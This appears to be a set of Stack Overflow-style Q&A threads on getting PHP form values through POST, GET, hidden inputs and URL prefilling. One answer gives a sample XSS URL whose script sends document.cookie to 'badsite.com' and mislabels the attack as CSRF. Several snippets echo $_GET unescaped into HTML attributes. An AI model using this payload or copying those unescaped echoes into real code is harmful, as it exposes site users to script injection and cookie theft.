So I have a form where one entry is:
<input type="text" id="ptid" name="ptid" readonly="readonly" placeholder="<?php echo $pid; ?>">
The value of "$pid" is not null, I already got the value from database. Then I would like to get that value and pass to another php file. So I tried this code :
<?php
$ptid=$_POST['ptid'];
?>
I tried printing this out, but somehow there's no result. Is there anyway to get the value?
placeholders aren't submitted as form values; that's the entire point of a placeholder: it displays in the input, but it is not treated as a value.
You'll need to use the regular value="<?php echo $pid; ?>" to submit the value with the form.
<form method="post">
<input type="text" name="example">
<input type="submit" value="Post me!">
</form>
Ensure you're declaring the POST and if you want to a redirect the POST to another file for handling use action.
You're picking it up correctly however,
$_POST['example']; in this case.
This would POST the input to the same file so ensure the handler is in the same context. If you do not declare post it will assume its a get request.
If you want to catch the POST in the same context then what you're doing is right. If you want to POST it to another PHP file which handles it then you cannot catch it in the same context.
Hope that helped.
Instead of placeholder use value attribute
<input type="text" id="ptid" name="ptid" readonly="readonly" value="<?php if(isset($pid)) echo $pid; ?>">
You will get value on next page.
Because value is submitted not placeholder.
I think that it's possible only with javascript - in HTML document you must create new hidden input and insert there a value with
$("#ptid").attr("placeholder")
Related
Is it possible for a user to enter a value into a form and then, on submit, have the page redirect to a new one with the value entered into the form stored in a PHP variable?
This if my form code;
<form id="loc-search" method="post">
<input type="text" id="search-by-location" name="custom-location" value="" placeholder="Sheffield, UK"/>
<input type="submit" id="submit" value=""/>
</form>
Once the user has entered a value in #search-by-location the page needs to redirect to weather.php with the value stored in a PHP variable called $location
AJAX / JS aren't my strong suits so if someone could point me in the right direction that would be great
Add the argument action="weather.php" to your form tag. Then, when clicked on the submit button, you will get redirected to that page. Depending on your method, in your case POST, the input values will be available in the superglobal $_POST array in PHP.
In your example, $location = $_POST["custom-location"]; will suffice. Note that the name, not the ID, determines the array key in the target PHP document.
Javascript or AJAX are not needed to achieve this.
This is just a normal form so why not just use $_POST after the redirect on the weather.php page:
$location = $_POST["custom-location"];
As #Tacticus pointed out you also need to have the form redirect (if you did not already do this in JS). By adding action="weather.php" in the form:
<form id="loc-search" method="post" action="weather.php" >
...
</form>
As stated in other answers you should modify your form to look like this:
<form id="loc-search" method="post" action="weather.php">
<input type="text" id="search-by-location" name="custom-location" value="" placeholder="Sheffield, UK"/>
<input type="submit" id="submit" value=""/>
</form>
In your weather.php file, you can get the value from the $_POST global variable, just like this:
<?php
$location = $_POST["custom-location"];
//Interpret data
?>
Note that you can access the value of an input tag from your form witch was passed, with the input's name. In html you specify the following:
<input name="yourname" />
And when you want to access that value, you simply refer to his name.
$_POST['yourname']
If you use GET method for the form to pass the values, then you do the same, only the value will be stored in the $_GET global variable, so in your case with a GET method the variable initialization would look like this:
<?php
$location = $_GET["custom-location"];
//Interpret data
?>
Im try to Programm some php.
i have a site : /index.php?go=newstep&callid=2
Where i put:
<form method="post" action="addnew.php"> <input type="text" name="user" /> <input type="text" name="text" /> <input type="hidden" value="<?php echo($_GET["callid"]); ?>" name="test" />
This is because the next site "addnew.php" Needs the value "callid" from the link to ?go=newstep&callid=2
Why isn't it working?
Is there another way?
Thank you
If You want to use GET method, You can simply put Your variable as part of the link in action attribute. You don't have to use hidden input. Something like that:
action="addnew.php?callid=<?php echo $_GET['callid']; ?>"
Additionally, '"' char in attribute "value" may cause problems, because HTML may interpret it as end of the attribute value.
EDIT:
Exactly, You are using POST method in form, thus You are sending You variable, callid, by POST method now and it will be available in $_POST global array in addnew.php script, not in $_GET global array.
When I use <form action="code.php?id=1" method="post"></form>, the form id is passed in the URL. But when I write the same code by replacing 'POST' by 'GET', the id is not passed to the URL.
Why?
When you submit a GET form, the values from the form are appended to the action URL, as the "query string" after the ?. Specifying an existing query string in the action attribute of such a form creates an ambiguity. Browsers don't merge the two query strings, they just throw away the old query string and build the new one based on the form.
With a POST form, there is no ambiguity: the data from the form is sent separately from the URL, so there is no need for the query string to be over-written.
However, it's probably best not to mix the two kind of parameters, so the solution is always to include your extra parameters as hidden fields, then it will work with both GET and POST forms:
<input type="hidden" name="id" value="1">
Better way is to pass id in hidden field.
<form action="code.php" method="post">
<input type="hidden" value="1" name="id" />
</form>
If your form is as below
<form action="code.php?id=1" method="post">
<input typ"text" name="username" />
<input type="submit" />
</form>
example script in code.php
<?php
print_r($_GET);
print_r($_POST);
print_r($_REQUEST);
?>
You will get form data in post array and url parameters in get array, in request you will get both get and post data in one array. But if you change from post to get method your form data added with the url instead of appending. This issue is because of ambiguity. To get solution i this situation, create a hidden field in your form those you also want to send with query string.
I would like to understand why the below is not working. It is code that I have inherited and it did work on the previous webmaster's hosting.
The page has a $service variable in the URL hence the echo $_GET['service'] below in order to display the value of the variable on the page. However, we want to use that same variable value on the next page also.
At the moment I cannot use echo $_POST or I even tried echo $_GET on the next page to display this
value. There must be something out of date or wrong with <input type="hidden" name="service" value="<? echo $service; ?>" />.
I tried value= echo $_GET['service']; but this did not appear to change anything,
Grateful for all help.
Thanks.
<?php echo $_GET['service']; ?>
<form action="send-order.php" method="post">
Email<br /><input name="email" value="<?echo $email;?>" type="text" style="width: 350px;" />
<input type="hidden" name="service" value="<? echo $service; ?>" />
<input type="submit" value="Order now" /></p>
</form>
Uhm, first of all I'm seeing your form action is POST (instead of GET), so it's natural you don't appen the service input to the url...
Another thing, you're saying that the code worked previously: it might be for the use of register_globals (turned ON; in darker times that was the usual setting, now it's disabled by default) on the previous server's settings, which automatically made available to the var $service what should have been called with $_GET['service'] (or $_POST['service'], for what that matters).
I still don't understand where the "p" param comes in the URL from your comment, though. If you change the form action to action="get", you will have something like "email=something&service=somethig", but 'p' ?
$service is a variable.
http://example.com?service=foo is a GET parameter.
$service is not the same as $_GET['service']
$_POST['service'] is not the same as $_GET['service']
That said, the form's method is "post". If you're posting to the same page where the form is located, then use $_POST['service'] instead. Or change the form method to "get" and use $_GET['service'].
I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..
Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).
The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');
You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />
Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val() function to set the value.